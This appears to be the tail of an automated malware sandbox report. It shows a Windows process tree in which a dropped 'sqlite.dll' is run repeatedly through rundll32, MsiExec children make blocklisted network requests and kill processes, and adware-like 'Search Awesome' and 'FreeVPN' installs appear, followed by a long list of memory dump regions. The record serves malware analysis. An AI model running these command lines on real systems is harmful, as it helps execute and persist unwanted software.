                                                                                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                    1⤵
                                                                                                                    • Process spawned unexpected child process
                                                                                                                    PID:724
                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                      rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                      2⤵
                                                                                                                      • Loads dropped DLL
                                                                                                                      PID:556
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 556 -s 452
                                                                                                                        3⤵
                                                                                                                        • Program crash
                                                                                                                        • Checks processor information in registry
                                                                                                                        • Enumerates system info in registry
                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                        PID:5184
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 556 -ip 556
                                                                                                                    1⤵
                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                    PID:2788
                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                    C:\Windows\system32\WerFault.exe -pss -s 600 -p 452 -ip 452
                                                                                                                    1⤵
                                                                                                                      PID:5168
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 3300 -ip 3300
                                                                                                                      1⤵
                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                      PID:5328
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 5200 -ip 5200
                                                                                                                      1⤵
                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                      PID:5540
                                                                                                                    • C:\Windows\system32\rundll32.exe
                                                                                                                      rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                      1⤵
                                                                                                                      • Process spawned unexpected child process
                                                                                                                      PID:5832
                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                        2⤵
                                                                                                                        • Loads dropped DLL
                                                                                                                        PID:4468
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4468 -s 460
                                                                                                                          3⤵
                                                                                                                          • Program crash
                                                                                                                          • Checks processor information in registry
                                                                                                                          • Enumerates system info in registry
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          PID:5268
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 4468 -ip 4468
                                                                                                                      1⤵
                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                      PID:3040
                                                                                                                    • C:\Windows\system32\WerFault.exe
                                                                                                                      C:\Windows\system32\WerFault.exe -pss -s 484 -p 2440 -ip 2440
                                                                                                                      1⤵
                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                      PID:5856
                                                                                                                    • C:\Windows\system32\WerFault.exe
                                                                                                                      C:\Windows\system32\WerFault.exe -pss -s 528 -p 5228 -ip 5228
                                                                                                                      1⤵
                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                      PID:5080
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 5640 -ip 5640
                                                                                                                      1⤵
                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                      PID:5564
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5600 -ip 5600
                                                                                                                      1⤵
                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                      PID:2488
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 1380 -ip 1380
                                                                                                                      1⤵
                                                                                                                        PID:7012
                                                                                                                      • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                        1⤵
                                                                                                                          PID:1256
                                                                                                                        • C:\Windows\system32\msiexec.exe
                                                                                                                          C:\Windows\system32\msiexec.exe /V
                                                                                                                          1⤵
                                                                                                                          • Enumerates connected drives
                                                                                                                          • Drops file in Windows directory
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:5480
                                                                                                                          • C:\Windows\syswow64\MsiExec.exe
                                                                                                                            C:\Windows\syswow64\MsiExec.exe -Embedding 554AA473A78E967818C049D270460EB0 C
                                                                                                                            2⤵
                                                                                                                            • Loads dropped DLL
                                                                                                                            PID:5928
                                                                                                                          • C:\Windows\syswow64\MsiExec.exe
                                                                                                                            C:\Windows\syswow64\MsiExec.exe -Embedding 634FC8DA45FBB58EF3BE1C15C4F5CCD1
                                                                                                                            2⤵
                                                                                                                            • Blocklisted process makes network request
                                                                                                                            • Loads dropped DLL
                                                                                                                            PID:4204
                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                              "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
                                                                                                                              3⤵
                                                                                                                              • Kills process with taskkill
                                                                                                                              PID:6204
                                                                                                                          • C:\Windows\syswow64\MsiExec.exe
                                                                                                                            C:\Windows\syswow64\MsiExec.exe -Embedding 23C91A3102DEEB82CAC91DF5AFE242EB E Global\MSI0000
                                                                                                                            2⤵
                                                                                                                            • Loads dropped DLL
                                                                                                                            • Drops file in Windows directory
                                                                                                                            PID:1580
                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                          1⤵
                                                                                                                          • Process spawned unexpected child process
                                                                                                                          PID:5132
                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                            2⤵
                                                                                                                            • Loads dropped DLL
                                                                                                                            PID:5540
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 5540 -s 452
                                                                                                                              3⤵
                                                                                                                              • Program crash
                                                                                                                              • Checks processor information in registry
                                                                                                                              • Enumerates system info in registry
                                                                                                                              PID:5888
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 5540 -ip 5540
                                                                                                                          1⤵
                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                          PID:668
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5676 -ip 5676
                                                                                                                          1⤵
                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:1368
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 2800 -ip 2800
                                                                                                                          1⤵
                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                          PID:6336
                                                                                                                        • C:\Windows\system32\WerFault.exe
                                                                                                                          C:\Windows\system32\WerFault.exe -pss -s 496 -p 4892 -ip 4892
                                                                                                                          1⤵
                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                          PID:6964
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1180 -ip 1180
                                                                                                                          1⤵
                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                          PID:5580
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 6936 -ip 6936
                                                                                                                          1⤵
                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                          PID:648
                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                                          1⤵
                                                                                                                            PID:2268
                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                            C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                            1⤵
                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                            PID:4784
                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                            1⤵
                                                                                                                              PID:1524
                                                                                                                            • C:\Windows\System32\svchost.exe
                                                                                                                              C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                              1⤵
                                                                                                                                PID:6572
                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5700 -ip 5700
                                                                                                                                1⤵
                                                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                PID:2240
                                                                                                                              • C:\Program Files (x86)\Search Awesome\setup.exe
                                                                                                                                "C:\Program Files (x86)\Search Awesome\setup.exe" -svc
                                                                                                                                1⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                PID:5084
                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4676 -ip 4676
                                                                                                                                1⤵
                                                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                PID:5116
                                                                                                                              • C:\Program Files (x86)\FreeVPN\FreeVPN.exe
                                                                                                                                "C:\Program Files (x86)\FreeVPN\FreeVPN.exe" -svc
                                                                                                                                1⤵
                                                                                                                                • Loads dropped DLL
                                                                                                                                PID:132
                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 2824 -ip 2824
                                                                                                                                1⤵
                                                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                PID:6260
                                                                                                                              • C:\Windows\system32\LogonUI.exe
                                                                                                                                "LogonUI.exe" /flags:0x4 /state0:0xa39ed855 /state1:0x41c64e6d
                                                                                                                                1⤵
                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                PID:3024

                                                                                                                              Network

                                                                                                                              MITRE ATT&CK Enterprise v6

                                                                                                                              Replay Monitor

                                                                                                                              Loading Replay Monitor...

                                                                                                                              Downloads

                                                                                                                              • memory/452-261-0x0000000000350000-0x0000000000351000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/452-269-0x0000000000B20000-0x0000000000B22000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/648-215-0x00000000007A0000-0x00000000007A1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/1180-601-0x0000000004320000-0x000000000445F000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                1.2MB

                                                                                                                                Download

                                                                                                                              • memory/1368-274-0x0000000007570000-0x0000000007571000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/1368-305-0x00000000071F0000-0x00000000071F1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/1368-276-0x0000000007680000-0x0000000007681000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/1368-290-0x0000000004C60000-0x0000000004C61000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/1368-266-0x0000000007A80000-0x0000000007A81000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/1368-251-0x00000000073B0000-0x00000000073E8000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                224KB

                                                                                                                                Download

                                                                                                                              • memory/1368-271-0x0000000007190000-0x0000000007191000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/1368-329-0x0000000007480000-0x0000000007481000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/1368-236-0x0000000000360000-0x0000000000361000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/1380-555-0x0000000002420000-0x0000000002468000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                288KB

                                                                                                                                Download

                                                                                                                              • memory/1420-597-0x0000000005540000-0x0000000005541000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/1732-423-0x0000000004D60000-0x0000000004D61000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/2096-228-0x00000000007B0000-0x00000000007B1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/2236-205-0x0000000002670000-0x0000000002672000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/2236-196-0x0000000000500000-0x0000000000501000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/2340-439-0x0000000005AE0000-0x0000000005AE1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/2348-250-0x0000000000800000-0x0000000000802000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/2440-232-0x0000000001780000-0x00000000017BE000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                248KB

                                                                                                                                Download

                                                                                                                              • memory/2440-226-0x0000000000F90000-0x0000000000F91000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/2440-246-0x000000001BCA0000-0x000000001BCA2000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/2440-326-0x000000001BC30000-0x000000001BC31000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/2440-302-0x000000001D100000-0x000000001D101000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/2440-267-0x000000001CA00000-0x000000001CA01000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/3228-627-0x0000000140000000-0x0000000140763000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                7.4MB

                                                                                                                                Download

                                                                                                                              • memory/3228-630-0x0000000002970000-0x0000000002990000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                128KB

                                                                                                                                Download

                                                                                                                              • memory/3228-640-0x0000000014810000-0x0000000014830000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                128KB

                                                                                                                                Download

                                                                                                                              • memory/3300-289-0x0000000002430000-0x000000000245F000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                188KB

                                                                                                                                Download

                                                                                                                              • memory/3548-166-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                100KB

                                                                                                                                Download

                                                                                                                              • memory/3548-165-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                100KB

                                                                                                                                Download

                                                                                                                              • memory/3548-167-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                152KB

                                                                                                                                Download

                                                                                                                              • memory/3548-168-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                100KB

                                                                                                                                Download

                                                                                                                              • memory/3548-164-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                1.5MB

                                                                                                                                Download

                                                                                                                              • memory/3548-162-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                572KB

                                                                                                                                Download

                                                                                                                              • memory/3548-163-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                100KB

                                                                                                                                Download

                                                                                                                              • memory/3780-206-0x0000000000400000-0x000000000046D000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                436KB

                                                                                                                                Download

                                                                                                                              • memory/3828-204-0x0000000003D20000-0x0000000003D29000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                36KB

                                                                                                                                Download

                                                                                                                              • memory/4128-490-0x0000000000400000-0x0000000000416000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                88KB

                                                                                                                                Download

                                                                                                                              • memory/4448-203-0x0000000003EA0000-0x0000000003F73000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                844KB

                                                                                                                                Download

                                                                                                                              • memory/4448-492-0x00000000021E0000-0x00000000021E1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/4460-254-0x0000000000B00000-0x0000000000B01000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/4460-265-0x00000000012C0000-0x00000000012D7000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                92KB

                                                                                                                                Download

                                                                                                                              • memory/4460-272-0x000000001B830000-0x000000001B832000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/4548-522-0x0000000000DD0000-0x0000000000DD2000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/4548-242-0x00000000002C0000-0x00000000002C1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/4780-270-0x0000000008270000-0x0000000008271000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/4780-310-0x0000000007EA0000-0x0000000007EA1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/4780-214-0x0000000004F42000-0x0000000004F43000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/4780-213-0x0000000004F40000-0x0000000004F41000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/4780-239-0x0000000007590000-0x0000000007591000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/4780-211-0x00000000075D0000-0x00000000075D1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/4780-243-0x0000000007D20000-0x0000000007D21000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/4780-207-0x0000000004E80000-0x0000000004E81000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/4780-245-0x0000000007FE0000-0x0000000007FE1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/4780-255-0x0000000007DC0000-0x0000000007DC1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/4780-262-0x0000000007F40000-0x0000000007F41000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/4780-454-0x000000007F2D0000-0x000000007F2D1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/4780-431-0x0000000004F45000-0x0000000004F47000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/4892-596-0x000000001AD60000-0x000000001AD62000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/5112-216-0x000000001AF80000-0x000000001AF82000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/5112-197-0x0000000000250000-0x0000000000251000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5112-210-0x00000000023D0000-0x00000000023E6000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                88KB

                                                                                                                                Download

                                                                                                                              • memory/5136-514-0x0000000001104000-0x0000000001105000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5136-515-0x0000000001105000-0x0000000001107000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/5136-496-0x0000000001100000-0x0000000001102000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/5136-510-0x0000000001102000-0x0000000001104000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/5200-300-0x0000000003E30000-0x0000000003E60000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                192KB

                                                                                                                                Download

                                                                                                                              • memory/5220-404-0x0000000005400000-0x0000000005401000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5228-307-0x0000000000B70000-0x0000000000BAD000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                244KB

                                                                                                                                Download

                                                                                                                              • memory/5228-323-0x0000000002640000-0x0000000002642000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/5228-285-0x0000000000450000-0x0000000000451000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5236-368-0x00000000021A0000-0x00000000021A1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5364-491-0x0000000001320000-0x0000000001322000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/5376-621-0x000000001D390000-0x000000001D392000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/5396-314-0x0000000000F60000-0x0000000000F61000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5396-321-0x0000000009A90000-0x0000000009A91000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5396-350-0x0000000004F10000-0x0000000004F11000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5396-325-0x0000000004FC0000-0x0000000004FC1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5396-320-0x00000000025D0000-0x00000000025DC000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                48KB

                                                                                                                                Download

                                                                                                                              • memory/5396-301-0x00000000004A0000-0x00000000004A1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5396-330-0x0000000004780000-0x0000000004781000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5404-298-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                80KB

                                                                                                                                Download

                                                                                                                              • memory/5420-571-0x0000000001290000-0x0000000001292000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/5444-337-0x0000000000930000-0x0000000000931000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5444-407-0x0000000005490000-0x0000000005491000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5568-401-0x00000000057D0000-0x00000000057D1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5600-425-0x00000000059B0000-0x00000000059B1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5640-328-0x0000000000980000-0x0000000000981000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5640-322-0x0000000000070000-0x0000000000071000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5640-374-0x00000000048E0000-0x00000000048E1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5680-333-0x00000000021E0000-0x00000000021E1000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5760-518-0x0000000000BB5000-0x0000000000BB6000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5760-497-0x0000000000BB0000-0x0000000000BB2000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/5760-516-0x0000000000BB4000-0x0000000000BB5000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5760-524-0x0000000000BB6000-0x0000000000BB7000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5992-332-0x0000000000160000-0x0000000000161000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/5992-357-0x0000000004AB0000-0x0000000004D36000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                2.5MB

                                                                                                                                Download

                                                                                                                              • memory/6104-347-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                80KB

                                                                                                                                Download

                                                                                                                              • memory/6116-420-0x0000000005370000-0x0000000005371000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                                Download

                                                                                                                              • memory/6256-624-0x000000001C190000-0x000000001C192000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                8KB

                                                                                                                                Download

                                                                                                                              • memory/6936-611-0x0000000002D40000-0x0000000003667000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                9.2MB

                                                                                                                                Download